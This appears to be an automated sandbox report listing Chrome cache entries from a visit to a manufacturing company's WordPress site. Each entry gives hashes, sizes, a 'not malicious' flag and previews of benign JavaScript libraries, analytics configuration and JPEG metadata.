SSDEEP:	768:Bt4UcFm2AzEqnRFNifrgKIIl86ZUv9CAA9GcZ0eSqC:kKDF3B
MD5:	3DB1E65E46017DA03D9FB95850A3BDB9
SHA1:	B984C31B080175B842F75ADB1435DACC8E226551
SHA-256:	697BF6D6A888E382A81496C2D13F16A6B62FA3A9FE6B1BC811128DCB08DC3844
SHA-512:	CE24509C43DF39F4CB907EBD06C4CAD07C462BC7762537BC27715C53C96C9DEC97F9ACC064B5265ADF76E0CDED4C46AB51B94E8B175BBE31D10BE56B8072D7FF
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/lightcase.js?ver=20130115
Preview:	/. Lightcase - jQuery Plugin. * The smart and flexible Lightbox Plugin.. . @author..Cornel Boppart <cornel@bopp-art.com>. * @copyright.Author. . @version..2.1.2 (29/09/2015). /..;(function ($) {..window.lightcase = {...cache : {},....support : {},....labels : {....'errorMessage' : 'Source could not be found...',....'sequenceInfo.of' : ' of ',....'close' : 'Close',....'navigator.prev' : 'Prev',....'navigator.next' : 'Next',....'navigator.play' : 'Play',....'navigator.pause' : 'Pause'...},..../... Initializes the plugin... ... @param.{object}.options... * @return.{object}... /...init : function (options) {....return this.each(function () {.....$(this).unbind('click').click(function (event) {......event.preventDefault();......$(this).lightcase('start', options);.....});....});...},..../... Starts the plugin... ... @param.{object}.options... * @return.{void}... */...start : function (options) {....lightcase.settings = $.extend(true, {.....idPrefix : 'lightcase-',..

Chrome Cache Entry: 171

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (31996)
Category:	dropped
Size (bytes):	70083
Entropy (8bit):	5.350927133349652
Encrypted:	false
SSDEEP:	1536:L5i0SoTpywbZi31SPTnODPEGnVbg94ePcwD4wP1nN69X1SiraqXztGV51Aui:lYoZbpwDw1u
MD5:	B718AF3DCD66D974DF736A2E15EE39AE
SHA1:	8B11B2483A66FA16B84FFF986B0552E9F84334FC
SHA-256:	3A600A8B86E938ACF4C39F392719678CBEEE228D2EE698FBF3F310E99DB4347A
SHA-512:	4DA27A9951E25E8891246A80A6051C7770F8202AF09821AEA8749A9A891A3003484DB50BFB6EFD2A0BAF807A24ABE75E1EC68E1AD9CEC1D4091B0C3DFB033034
Malicious:	false
Reputation:	low
Preview:	!function(){var t={},e={},n={},i={},r={},o={},a={},s={},u={},l={},c={},d={},f={},h={},p={},m={},v={},b={},y={},g={},w={},_={},E={},k={},S={},C={},T={},F={},x={},A={},I={},M={},U={},L={},P={},N=this&&this.__spreadArray\|\|function(t,e,n){if(n\|\|2===arguments.length)for(var i,r=0,o=e.length;r<o;r++)!i&&r in e\|\|(i\|\|(i=Array.prototype.slice.call(e,0,r)),i[r]=e[r]);return t.concat(i\|\|Array.prototype.slice.call(e))},D=this&&this.__extends\|\|function(){var t=function(e,n){return(t=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]=e[n])})(e,n)};return function(e,n){function i(){this.constructor=e}if("function"!=typeof n&&null!==n)throw new TypeError("Class extends value "+String(n)+" is not a constructor or null");t(e,n),e.prototype=null===n?Object.create(n):(i.prototype=n.prototype,new i)}}(),O=this&&this.__assign\|\|function(){return O=Object.assign\|\|function(t){for(var e,n=1,i=argument

Chrome Cache Entry: 172

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9203), with CRLF line terminators
Category:	downloaded
Size (bytes):	9354
Entropy (8bit):	5.437202478156931
Encrypted:	false
SSDEEP:	192:ZlhJO3fJ6qQBJ835S5+GE+at1GHT1LDQdt0f7001U/VXeQjglAr:ZluQqIC5S5+Z+I1GHydtW7R1ue3lAr
MD5:	14EF69AA5126473F702EFC711DE5E445
SHA1:	12193314120D55C8DB7B18BE8BED49A2CE4A2EA2
SHA-256:	F1C8EBC86075B4C920E303A9ED6FDC8DE8E976532299362EA2E79267438DD00F
SHA-512:	0D267258C36A72F663E2CD878F0E7E8F861F12F6943D430E350F7B17CFAB310958CF2C09A099B31AABBA05B18E2948DBC5FA194A06CACAFE7A32F4E19D5517E5
Malicious:	false
Reputation:	low
URL:	https://browserupdate.org/update.min.js
Preview:	//(c)2021, MIT Style License <browser-update.org/LICENSE.txt>..//it is recommended to directly link to this file because we update the detection code.."use strict";var $bu_=new function(){var s=this;this.version="3.3.54";this.vsakt={c:"128",f:"130",s:"17.6",e:"129",i:"12",ios:"17.6",samsung:"27",o:"114",e_a:"128",o_a:"84",y:"24.7.8",v:"6.9",uc:"13.7.8"};this.vsinsecure_below={c:"126",f:"126",s:"11.1.1",e:"119",i:11,ios:"16.5",samsung:12.0,o:62,o_a:78,y:"20",v:"6.0",uc:"13.4"};this.vsdefault={c:-3,f:-3,s:-2,e:17,i:11,ios:12,samsung:-3,o:-3,o_a:-3,y:-1,v:-1,uc:-0.2,a:535};this.names={c:"Chrome",f:'Firefox',s:'Safari',e:"Edge",i:'Internet Explorer',ios:"iOS",samsung:"Samsung Internet",o:'Opera',o_a:'Opera',e_a:"Edge",y:"Yandex Browser",v:"Vivaldi",uc:"UC Browser",a:"Android Browser",x:"Other",silk:"Silk"};this.get_browser=function(ua){var n,ua=(ua\|\|navigator.userAgent).replace("_","."),r={n:"x",v:0,t:"other browser",age_years:undefined,no_device_update:false,available:s.vsakt};function ig

Chrome Cache Entry: 173

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4269)
Category:	downloaded
Size (bytes):	266522
Entropy (8bit):	5.56671726703305
Encrypted:	false
SSDEEP:	6144:FlIGKlqkHd1MvO5QEDF2Dej7dsSFVVl2T:FlwUkHd9lW
MD5:	534E48C1391275DEF5A88D6355DB4E64
SHA1:	74699FCDA709396DDFC986883EF8183643B22AD8
SHA-256:	BDFBDE00E103ACCEA0A047CB4AB5AE4DB7E72E77213E17C859E04C8272CAD12E
SHA-512:	0A3F69D57F50C6206D4618BE17DAC8687E623F13BA0EFB3A4A1D06A2FBFE64EE2F1DB641F3F8CC3B4D3F7ACCCAEDD4BECD948A919DB11F07B473227258DEBDD4
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtag/js?id=G-E694J4CV2M&cx=c&_slc=1
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"2",. . "macros":[{"function":"__e"},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_ga_send","priority":5,"vtp_value":true,"tag_id":10},{"function":"__ogt_referral_exclusion","priority":5,"vtp_includeConditions":["list","twbcompany\\.com"],"tag_id":12},{"function":"__ogt_session_timeout","priority":5,"vtp_sessionMinutes":30,"vtp_sessionHours":0,"tag_id":13},{"function":"__ogt_1p_data_v2","priority":5,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"","vtp_emailType":"CSS_SELECTOR","vtp_regionType":"CSS_SELECTOR","vtp_autoEmailEnabled":true,"vtp_postalCodeValue":"","vtp_lastNameValue":"","vtp_phoneType":"CSS_SELECT

Chrome Cache Entry: 174

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	dropped
Size (bytes):	21083
Entropy (8bit):	6.924107949732718
Encrypted:	false
SSDEEP:	384:4Cw270d3hGJa2rPnd/yt/LfieYiV6qs+a5IspYWgFu9nTw5f7p2:4CkWJaodYfieZAZ+az6WgFYTwT2
MD5:	CBFE66EBB89FA6F987DE7E89A456B809
SHA1:	9947984FC0A2B7CFD84E80EAE480515256F3F14F
SHA-256:	FFAD003CB6A24E032D3242E582BD3BD8EA659D003607F528648498174667B417
SHA-512:	3A0F3282F9EFAEF18E2EA0ED995DBE67FEF9ECFBE7D35264EC54A69971C2ACF43DBE44A62820B09B3A1915DDCBF169EFD27BB1D032BEE94030587BE97B639A71
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.............,http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:D60CCDEB092F11E88A78BDB37FCD2333" xmpMM:InstanceID="xmp.iid:D60CCDEA092F11E88A78BDB37FCD2333" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:75B6F5F9085411E8B5BFFEDA2E8BCC30" stRef:documentID="xmp.did:75B6F5FA085411E8B5BFFEDA2E8BCC30"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................................#%'%#.//33//@@@@@@@@@@@@@@@......................&.....&0#....#0+.'''.+550055@@?@

Chrome Cache Entry: 175

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	downloaded
Size (bytes):	25664
Entropy (8bit):	6.44847874726347
Encrypted:	false
SSDEEP:	384:1coKIMpM9c+IUND86TwKdhdT/YtXnLjJ6zNyk:1BdMpMBIx6TwKvdMRfJSck
MD5:	302531F6E577C43B9200E625FF88A426
SHA1:	748DB4EC87F496445EF47914378A7C373BB707CA
SHA-256:	E5BC28A5A2BC7ABCF229FE2B4FF98AC85836E5E5CC6D914543AE4BC5ABDC038C
SHA-512:	66652741999EA2B50B368A7CF4A9CDE2A27FB0BFEA40A42FFCCCDE00C0CCAE71C4301D5FFB3B76805A9783A53A1D33FE20F45E70A278F7ED85E6903C61EBD3CF
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2015/08/b-pillar-outer.jpg
Preview:	......Exif..II*.................Ducky.......<.....1http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)" xmpMM:InstanceID="xmp.iid:C4BA49CDB64211E5960E89E0CB43E699" xmpMM:DocumentID="xmp.did:C4BA49CEB64211E5960E89E0CB43E699"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C4BA49CBB64211E5960E89E0CB43E699" stRef:documentID="xmp.did:C4BA49CCB64211E5960E89E0CB43E699"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................................................................................................

Chrome Cache Entry: 176

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 689x300, components 3
Category:	downloaded
Size (bytes):	30674
Entropy (8bit):	7.973946901677999
Encrypted:	false
SSDEEP:	768:zXniZBJUkUSVYhE7DFab+qIg52hREFFqwvb10:zXnUUkUHEFPzg52hmFFBb10
MD5:	D565382CC8F54B02DA6433F8F5BB5680
SHA1:	90C16F93285D0E0041E667D54F303988A15DF2E6
SHA-256:	4EADA5C91E68379DE29285C4536BC1FDD3E204A44FE1EAF59C8352F8CDEB91F6
SHA-512:	27BA5CB5BFA06D77023A22FEB43EEA0DA85B42CC9380EF3CBE5034DD2913501881B99B1AC5EB644A60BD0F450EC1DCFEB61C7CC3E62DAB9BFA95B6E5AD93273D
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2015/09/twc-thumb.jpg
Preview:	......Exif..II*.................Ducky.......2......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:6e70b245-073f-4138-bd2f-40bd88a30a98" xmpMM:DocumentID="xmp.did:2FAF3F2858C511E5BEEECBB76CCA2AC5" xmpMM:InstanceID="xmp.iid:2FAF3F2758C511E5BEEECBB76CCA2AC5" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6e70b245-073f-4138-bd2f-40bd88a30a98" stRef:documentID="xmp.did:6e70b245-073f-4138-bd2f-40bd88a30a98"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 177

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (409), with no line terminators
Category:	dropped
Size (bytes):	409
Entropy (8bit):	5.071644775975722
Encrypted:	false
SSDEEP:	12:mtt3FxSFfVBPIwwsMtRsb4KpfNEpSuIXqEn:mxFMBPIaMu4KlNt1X7
MD5:	B2CB713D9736E814A08353C2FEDCB8E1
SHA1:	E5875894947716625D15D46C92DE1B5A222725A9
SHA-256:	F7BB442B06BFB13ECFEE3C3EC2B6B19440A33E080CA9378F8D6F161281BD01ED
SHA-512:	1F3C9906E4566A4DB12379558A6DA10159F0A8B692C72080D1348EE50FDBA1A8B98A2AE93CA8D1CC4F3925067FB25D33B560F9F7ED5B0AE76655F01BFDAA8C94
Malicious:	false
Reputation:	low
Preview:	"use strict";var WPMLLanguageSwitcherDropdown=function(){function t(e){(e=e\|\|window.event).preventDefault&&e.preventDefault(),e.returnValue=!1}return{init:function(){for(var e=document.querySelectorAll(".js-wpml-ls-legacy-dropdown a.js-wpml-ls-item-toggle"),n=0;n<e.length;n++)e[n].addEventListener("click",t)}}}();document.addEventListener("DOMContentLoaded",function(){WPMLLanguageSwitcherDropdown.init()});

Chrome Cache Entry: 178

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2490
Entropy (8bit):	4.645901279512174
Encrypted:	false
SSDEEP:	48:Oj9UHi75vswjkpxKT6K+3fjlHfs43U7IEEqrR:OjOuvxjzTX+W+ql
MD5:	34AD8087298D9E52616B82491C27CF30
SHA1:	071F38E4B4DE03DF8E1A733053449F855B154FB1
SHA-256:	2FE0EF96DBD5A43DDC3DA3864F47C9512CFEB38A16B49507F021FA48648FF976
SHA-512:	923D3DDDF934C552F429DF2D2676138A7715AF18A119D77097ECBD55EBBCBA0A36E5F0F7066B553F97EEAAE8B248DC207D5F10B8EDBF1CA35FD83A7DD5CA18EE
Malicious:	false
Reputation:	low
Preview:	(function ($) {. var SUCCESS_STATUS = "mail_sent";. var AJAX_ACTION = "getDownloadButton";. var SUPPORTED_VERSIONS = [4, 5];.. function warnVersion(version) {. console.warn(. "[CF7 GATED CONTENT]: This version of CF7 is not supported: " + version. );. }.. function parseVersions(detail) {. var version = detail.pluginVersion;. var versionParts = version.split(".").map(v => parseInt(v, 10));.. // Warn if we are in a non-supported version of CF7. if (!SUPPORTED_VERSIONS.includes(versionParts[0])) {. warnVersion(version);. }.. // Return version object. return {. string: version,. major: versionParts[0],. minor: versionParts[1],. patch: versionParts[2],. };. }.. function parseStatus(detail) {. var version = parseVersions(detail);.. switch (version.major) {. case 5:. return detail.apiResponse.status;.. case 4:. return detail.status;.. default:. return null;. }. }.. function parse

Chrome Cache Entry: 179

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 689x300, components 3
Category:	downloaded
Size (bytes):	39618
Entropy (8bit):	7.9735962215835565
Encrypted:	false
SSDEEP:	768:KQHZgHYIsJyJ3rCIrHbpWk7YDSIQjsriZD1U5SK3eZzXyzoHdgXpIFQb+HjKO5VP:KQ5lIsJweKHdWmZBZpUEKudXyzoHmI2A
MD5:	2D146F049F0E2BE17E78682B81714B37
SHA1:	83043B24881873627A1FFE2145E8FEF27FC857D5
SHA-256:	57F8B778E6195A7015D3D8A2B8007959F9E255E7CCF7B1BFB91E79CBC3EF3C44
SHA-512:	033CD3F053819F2A07C034D7A344217F68E198D083B612D1F4E74FE50AD2E50AEA9B019B1544DF1FE852DCF7FD0FD5860A50DE1E9BFD4FC477889A370944F451
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2015/09/hot-formed-thumb.jpg
Preview:	......Exif..II*.................Ducky.......2......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:6e70b245-073f-4138-bd2f-40bd88a30a98" xmpMM:DocumentID="xmp.did:FB31B48458DB11E5BEEECBB76CCA2AC5" xmpMM:InstanceID="xmp.iid:FB31B48358DB11E5BEEECBB76CCA2AC5" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6e70b245-073f-4138-bd2f-40bd88a30a98" stRef:documentID="xmp.did:6e70b245-073f-4138-bd2f-40bd88a30a98"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 180

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	dropped
Size (bytes):	25664
Entropy (8bit):	6.44847874726347
Encrypted:	false
SSDEEP:	384:1coKIMpM9c+IUND86TwKdhdT/YtXnLjJ6zNyk:1BdMpMBIx6TwKvdMRfJSck
MD5:	302531F6E577C43B9200E625FF88A426
SHA1:	748DB4EC87F496445EF47914378A7C373BB707CA
SHA-256:	E5BC28A5A2BC7ABCF229FE2B4FF98AC85836E5E5CC6D914543AE4BC5ABDC038C
SHA-512:	66652741999EA2B50B368A7CF4A9CDE2A27FB0BFEA40A42FFCCCDE00C0CCAE71C4301D5FFB3B76805A9783A53A1D33FE20F45E70A278F7ED85E6903C61EBD3CF
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......<.....1http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)" xmpMM:InstanceID="xmp.iid:C4BA49CDB64211E5960E89E0CB43E699" xmpMM:DocumentID="xmp.did:C4BA49CEB64211E5960E89E0CB43E699"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C4BA49CBB64211E5960E89E0CB43E699" stRef:documentID="xmp.did:C4BA49CCB64211E5960E89E0CB43E699"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................................................................................................

Chrome Cache Entry: 181

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 689x300, components 3
Category:	dropped
Size (bytes):	30674
Entropy (8bit):	7.973946901677999
Encrypted:	false
SSDEEP:	768:zXniZBJUkUSVYhE7DFab+qIg52hREFFqwvb10:zXnUUkUHEFPzg52hmFFBb10
MD5:	D565382CC8F54B02DA6433F8F5BB5680
SHA1:	90C16F93285D0E0041E667D54F303988A15DF2E6
SHA-256:	4EADA5C91E68379DE29285C4536BC1FDD3E204A44FE1EAF59C8352F8CDEB91F6
SHA-512:	27BA5CB5BFA06D77023A22FEB43EEA0DA85B42CC9380EF3CBE5034DD2913501881B99B1AC5EB644A60BD0F450EC1DCFEB61C7CC3E62DAB9BFA95B6E5AD93273D
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......2......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:6e70b245-073f-4138-bd2f-40bd88a30a98" xmpMM:DocumentID="xmp.did:2FAF3F2858C511E5BEEECBB76CCA2AC5" xmpMM:InstanceID="xmp.iid:2FAF3F2758C511E5BEEECBB76CCA2AC5" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6e70b245-073f-4138-bd2f-40bd88a30a98" stRef:documentID="xmp.did:6e70b245-073f-4138-bd2f-40bd88a30a98"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 182

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	dropped
Size (bytes):	48439
Entropy (8bit):	7.363136811106029
Encrypted:	false
SSDEEP:	768:Ox+O+tQxFkSsnVMhEys8AH47wlc650fIDOgy/PgtK++aF2uk+Xmr5p:W+NtQgSsnWhqRkz65vDO8PTZXmrH
MD5:	749EA5CB27C4F1BCECB4690175F11676
SHA1:	A4C0C724CF9DFD2F4497AF26A58C8B74AEB56E0C
SHA-256:	1A35D60E8FBCE0F6269226909F9E16E57BC7233D96296753D6ACFB8EDE90F441
SHA-512:	58B09B1D775E4E5041FC8C13D9EE9DDA84260D064276C00EC06A1A490ABE900B477BE4B2E7FA0C6F6E10FE313440A4E07BA977572C317D505C4E2AC3BE659748
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......<.....1http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)" xmpMM:InstanceID="xmp.iid:A78DFEBEB64211E5960E89E0CB43E699" xmpMM:DocumentID="xmp.did:C4BA49CAB64211E5960E89E0CB43E699"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A78DFEBCB64211E5960E89E0CB43E699" stRef:documentID="xmp.did:A78DFEBDB64211E5960E89E0CB43E699"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................................................................................................

Chrome Cache Entry: 183

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	downloaded
Size (bytes):	39338
Entropy (8bit):	7.736639700887297
Encrypted:	false
SSDEEP:	768:HBH39Qq7wdhWOBUxWJ/L0vpWyZCv7MfHcSfUjKTqVp39iU9OJSi:rn7wfWOC8wvCg/psjWqVp9iwi
MD5:	AA30AF9006FFD1201F5819AB25BF83B5
SHA1:	49EED23BAAAC56F37FDDAB0789923BE451F167F1
SHA-256:	78E4372394D25231AE61CC86759A01544778CB00D4C68427EF6EB04BD5EC8537
SHA-512:	2C9DC4E1E588597E3D51C12FAF2B89010C54C713D40694F31051D677B28CE6FC7919B15D9D8AEB4404D5A1E604349A759EEE603530E749AF6AD8CB8E3885A4F6
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2018/04/Liftgate.jpg
Preview:	......Exif..II*.................Ducky.............,http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:F42E6282092F11E88A78BDB37FCD2333" xmpMM:InstanceID="xmp.iid:F42E6281092F11E88A78BDB37FCD2333" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:75B6F5F9085411E8B5BFFEDA2E8BCC30" stRef:documentID="xmp.did:75B6F5FA085411E8B5BFFEDA2E8BCC30"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................................#%'%#.//33//@@@@@@@@@@@@@@@......................&.....&0#....#0+.'''.+550055@@?@

Chrome Cache Entry: 184

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1209x403, components 3
Category:	dropped
Size (bytes):	64141
Entropy (8bit):	7.971609551189249
Encrypted:	false
SSDEEP:	1536:U1JZX+iwApm8DJPEo/qkVThNYv0h3Tkd8cBuGoDWN6m:SJZfpm8FPEIlev0h3INB8DWP
MD5:	F2D56F0A12C3C1C38B1C0906F7B74813
SHA1:	C14CE95C32C1E910D9132B8A26D822A4132E8130
SHA-256:	DDB26FC63365E907C567A425DA1735B0A34744BA28CA74809CF42AA0096FFCB2
SHA-512:	8FFB2DC209F73F89795D4A2F5FA286FF0B1E5521FA743F3888958EF7E85F5970839E2A1711711A46406B4015DC1A7845912CA2DFCC86B86976F50EF93C704E29
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......2......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:6f6f0b6c-41a0-4ee0-9358-f7178b64928b" xmpMM:DocumentID="xmp.did:76AE22F6596811E5BEEECBB76CCA2AC5" xmpMM:InstanceID="xmp.iid:64ECC768594311E5BEEECBB76CCA2AC5" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4d6a9d53-b437-43a8-b58c-d29938e7dba7" stRef:documentID="xmp.did:6f6f0b6c-41a0-4ee0-9358-f7178b64928b"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 185

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
